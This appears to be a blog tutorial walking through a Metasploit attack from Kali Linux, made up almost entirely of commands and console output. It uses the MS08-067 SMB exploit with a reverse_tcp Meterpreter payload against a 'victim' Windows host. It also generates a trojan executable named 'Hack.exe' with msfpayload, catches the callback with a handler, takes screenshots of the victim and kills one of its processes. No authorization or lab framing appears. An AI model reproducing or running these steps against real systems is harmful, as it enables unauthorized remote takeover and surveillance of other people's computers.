Exploit Remote Computer using Metasploit > Kali Linux

Exploit Remote Computer using Metasploit > Kali Linux

Network Technologies


Using IP of Victim:

Initializing msf console:

root@kali:~# msfconsole
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]
+ -- --=[ 1246 exploits - 678 auxiliary - 198 post
+ -- --=[ 324 payloads - 32 encoders - 8 nops


Use port of samba:

msf > use exploit/windows/smb/ms08_067_netapi

Set PAYLOAD:

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

Set LHOST:

msf exploit(ms08_067_netapi) > set LHOST 192.168.2.128
LHOST => 192.168.2.128

Set LPORT:

msf exploit(ms08_067_netapi) > set LPORT 6666
LPORT => 6666

Set RHOST:

msf exploit(ms08_067_netapi) > set RHOST 192.168.2.129
RHOST => 192.168.2.129

Start Exploiting:

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.2.128:6666
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769024 bytes) to 192.168.2.129
[*] Meterpreter session 1 opened (192.168.2.128:6666 -> 192.168.2.129:1034) at 2016-09-25 17:11:09 +0530



Taking Screenshot of victim machine:

meterpreter > screenshot
Screenshot saved to: /root/aKnOPeNY.jpeg\


Using executable file:

Generating .exe file:

root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=6666 x>Desktop/Hack.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 287
Options: {"LHOST"=>"192.168.0.105", "LPORT"=>"6666"}


root@kali:~# msfconsole
Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.10.0-2014082101 [core:4.10.0.pre.2014082101 api:1.0.0]]
+ -- --=[ 1331 exploits - 722 auxiliary - 214 post        ]
+ -- --=[ 340 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.105
LHOST => 192.168.0.105
msf exploit(handler) > set LPORT 6666
LPORT => 6666
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.105:6666
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 192.168.0.101
[*] Meterpreter session 1 opened (192.168.0.105:6666 -> 192.168.0.101:50134) at 2016-09-25 07:56:42 -0400

meterpreter > screenshot
Screenshot saved to: /root/niYLEaxx.jpeg

Killing Process of victim machine:

meterpreter > kill 2384
Killing: 2384

Comments

Popular posts from this blog

Intermediate Code Generation > C Program